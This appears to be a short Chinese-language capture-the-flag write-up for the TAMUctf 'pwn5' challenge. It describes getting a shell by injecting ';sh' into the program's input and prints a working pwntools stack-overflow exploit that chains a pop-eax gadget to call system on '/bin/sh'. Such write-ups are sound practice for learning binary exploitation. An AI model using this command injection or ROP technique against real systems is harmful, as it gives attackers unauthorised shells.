跟pwn4很像,但是不一样的是这里的system
函数不是系统调用,所以我这里用方法一,直接输入";sh"get shell (应该也是可以用栈溢出做的,因为在文件中还是可以看到"/bin/sh"字符的,但是参数"/bin/sh"的传参会有些不一样,这里我还没着手尝试)
看了一下system
函数的汇编,发现system
函数调用的参数放在eax寄存器中,所以要找到gadget --pop;eax;ret
用来给system
函数传参
下面是栈溢出的exp:
from pwn import *
p = process('./pwn5')
# p = remote("pwn.tamuctf.com","4324")
system = 0x804EA90
binsh = 0x80BC140
pop_eax = 0x080b8836
payload = 'a'*0x11 + p32(pop_eax) + p32(binsh) + p32(system)
p.sendline(payload)
p.interactive()
网友评论